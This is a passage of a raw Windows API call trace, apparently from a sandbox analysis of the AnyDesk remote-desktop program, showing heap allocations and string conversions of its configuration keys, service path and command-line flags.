Size=0x35) returned 0x1932078 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x12) returned 0x19320b8 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x18) returned 0x19320d8 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x46) returned 0x19320f8 [0282.927] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19309f0 | out: hHeap=0x1930000) returned 1 [0282.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x80) returned 0x19309f0 [0282.928] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x800) returned 0x1932148 [0282.928] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0282.928] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0282.929] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.929] GetLastError () returned 0x0 [0282.929] SetLastError (dwErrCode=0x0) [0282.929] GetLastError () returned 0x0 [0282.929] SetLastError (dwErrCode=0x0) [0282.929] GetLastError () returned 0x0 [0282.929] SetLastError (dwErrCode=0x0) [0282.929] GetLastError () returned 0x0 [0282.929] SetLastError (dwErrCode=0x0) [0282.930] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe3780, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0282.930] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1930a78 [0282.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe3780, cbMultiByte=-1, lpWideCharStr=0x1930a78, cchWideChar=20 | out: lpWideCharStr="*******************") returned 20 [0282.930] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.931] GetDC (hWnd=0x0) returned 0x5010090 [0282.931] GetDeviceCaps (hdc=0x5010090, index=88) returned 96 [0282.931] ReleaseDC (hWnd=0x0, hDC=0x5010090) returned 1 [0282.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbfef6c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0282.931] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1930aa8 [0282.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbfef6c, cbMultiByte=-1, lpWideCharStr=0x1930aa8, cchWideChar=21 | out: lpWideCharStr="prokzult schnurbotan") returned 21 [0282.931] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930ae0 [0282.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930af0 [0282.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930b00 [0282.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930b10 [0282.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930b20 [0282.932] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a740, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0282.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x16) returned 0x1930b30 [0282.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a740, cbMultiByte=-1, lpWideCharStr=0x1930b30, cchWideChar=11 | out: lpWideCharStr="vpn_driver") returned 11 [0282.932] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a74c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0282.933] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1930b50 [0282.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a74c, cbMultiByte=-1, lpWideCharStr=0x1930b50, cchWideChar=8 | out: lpWideCharStr="tap0901") returned 8 [0282.933] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a754, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0282.933] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1930b68 [0282.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a754, cbMultiByte=-1, lpWideCharStr=0x1930b68, cchWideChar=39 | out: lpWideCharStr="{4D36E972-E325-11CE-BFC1-08002BE10318}") returned 39 [0282.933] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a77c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0282.934] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x1930bc0 [0282.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a77c, cbMultiByte=-1, lpWideCharStr=0x1930bc0, cchWideChar=7 | out: lpWideCharStr="ad.txt") returned 7 [0282.934] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.934] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.934] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930bd8 [0282.935] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.935] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930be8 [0282.935] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.935] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930bf8 [0282.935] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0282.936] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930c08 [0282.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1930c08, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0282.936] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0282.936] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930c18 [0282.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1930c18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0282.936] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.937] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.937] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12834, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0282.937] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1930c28 [0282.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12834, cbMultiByte=-1, lpWideCharStr=0x1930c28, cchWideChar=30 | out: lpWideCharStr="ad.anynet.two_factor_auth_key") returned 30 [0282.938] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff0cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0282.938] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1930c70 [0282.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff0cc, cbMultiByte=-1, lpWideCharStr=0x1930c70, cchWideChar=25 | out: lpWideCharStr="ad.anynet.two_factor_key") returned 25 [0282.938] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbecc08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0282.938] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1930cb0 [0282.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbecc08, cbMultiByte=-1, lpWideCharStr=0x1930cb0, cchWideChar=28 | out: lpWideCharStr="ad.features.two_factor_auth") returned 28 [0282.939] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc128b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0282.939] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6e) returned 0x1930cf0 [0282.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc128b8, cbMultiByte=-1, lpWideCharStr=0x1930cf0, cchWideChar=55 | out: lpWideCharStr="otpauth://totp/AnyDesk:%s?secret=%s&issuer=anydesk.com") returned 55 [0282.939] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf22ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0282.939] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1930d68 [0282.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf22ec, cbMultiByte=-1, lpWideCharStr=0x1930d68, cchWideChar=3 | out: lpWideCharStr="\r\n") returned 3 [0282.940] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc19138, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0282.940] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1930d78 [0282.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc19138, cbMultiByte=-1, lpWideCharStr=0x1930d78, cchWideChar=21 | out: lpWideCharStr="\r\n------ %S ------\r\n") returned 21 [0282.940] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.940] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930db0 [0282.940] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.941] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.941] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930dc0 [0282.941] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.941] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1930dd0 [0282.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9da8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0282.941] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1930df0 [0282.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9da8, cbMultiByte=-1, lpWideCharStr=0x1930df0, cchWideChar=6 | out: lpWideCharStr="https") returned 6 [0282.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1930e08 [0282.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1930e20 [0282.942] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930df0 | out: hHeap=0x1930000) returned 1 [0282.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27518, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0282.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x1930df0 [0282.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27518, cbMultiByte=-1, lpWideCharStr=0x1930df0, cchWideChar=5 | out: lpWideCharStr="file") returned 5 [0282.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1930e38 [0282.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x1930e50 [0282.942] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930df0 | out: hHeap=0x1930000) returned 1 [0282.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27448, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0282.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x1930df0 [0282.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27448, cbMultiByte=-1, lpWideCharStr=0x1930df0, cchWideChar=7 | out: lpWideCharStr="mailto") returned 7 [0282.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1930e68 [0282.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x1930e80 [0282.942] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930df0 | out: hHeap=0x1930000) returned 1 [0282.942] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x13) returned 0x1930e98 [0282.943] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2f) returned 0x1930eb8 [0282.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2f) returned 0x1930ef0 [0282.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1b) returned 0x1930f28 [0282.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1b) returned 0x1932950 [0282.943] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.943] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.944] RtlSizeHeap (HeapHandle=0x1930000, Flags=0x0, MemoryPointer=0x19309f0) returned 0x80 [0282.944] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x214) returned 0x1932978 [0282.944] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0282.944] GetCurrentThreadId () returned 0x520 [0282.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0282.944] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1930f50 [0282.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x1930f50, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0282.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0282.944] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1930df0 [0282.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x1930df0, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0282.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0282.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1932b98 [0282.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c50, cbMultiByte=-1, lpWideCharStr=0x1932b98, cchWideChar=12 | out: lpWideCharStr="AnyDesk.exe") returned 12 [0282.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0282.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193d420 [0282.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193d420, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0282.945] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d420 | out: hHeap=0x1930000) returned 1 [0282.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193d420 [0282.945] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930ae0 | out: hHeap=0x1930000) returned 1 [0282.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193d438 [0282.945] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930af0 | out: hHeap=0x1930000) returned 1 [0282.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1930ae0 [0282.945] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930b00 | out: hHeap=0x1930000) returned 1 [0282.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193d450 [0282.946] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930b10 | out: hHeap=0x1930000) returned 1 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1930b00 [0282.946] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930b20 | out: hHeap=0x1930000) returned 1 [0282.946] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1932b98 | out: hHeap=0x1930000) returned 1 [0282.946] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930df0 | out: hHeap=0x1930000) returned 1 [0282.946] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930f50 | out: hHeap=0x1930000) returned 1 [0282.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd41370, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x5e) returned 0x193d468 [0282.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd41370, cbMultiByte=-1, lpWideCharStr=0x193d468, cchWideChar=47 | out: lpWideCharStr="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --service") returned 47 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930f50 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930b20 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1930df0 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1932b98 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1932ba8 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x193d4d0 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193d520 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x193d550 [0282.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193e138 [0282.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d520 | out: hHeap=0x1930000) returned 1 [0282.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12ae8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0282.947] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x193d570 [0282.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12ae8, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=9 | out: lpWideCharStr="--attach") returned 9 [0282.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12af4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0282.947] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x193d570 [0282.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12af4, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=10 | out: lpWideCharStr="--connect") returned 10 [0282.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12b00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0282.947] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x193d570 [0282.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12b00, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=9 | out: lpWideCharStr="--shm-id") returned 9 [0282.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd2d88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0282.947] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x193d4d0 [0282.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd2d88, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=18 | out: lpWideCharStr="--welcome-session") returned 18 [0282.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0282.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x16) returned 0x193d570 [0282.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a5c, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=11 | out: lpWideCharStr="--settings") returned 11 [0282.948] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe6908, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0282.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x193d4d0 [0282.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe6908, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=17 | out: lpWideCharStr="--admin-settings") returned 17 [0282.948] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12950, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0282.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x193d4d0 [0282.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12950, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=16 | out: lpWideCharStr="--unblock-input") returned 16 [0282.948] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1291c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0282.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x193d4d0 [0282.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1291c, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=15 | out: lpWideCharStr="--generate-gpt") returned 15 [0282.949] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a36c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0282.949] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x193d570 [0282.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0a36c, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=9 | out: lpWideCharStr=".anydesk") returned 9 [0282.949] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0b384, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: 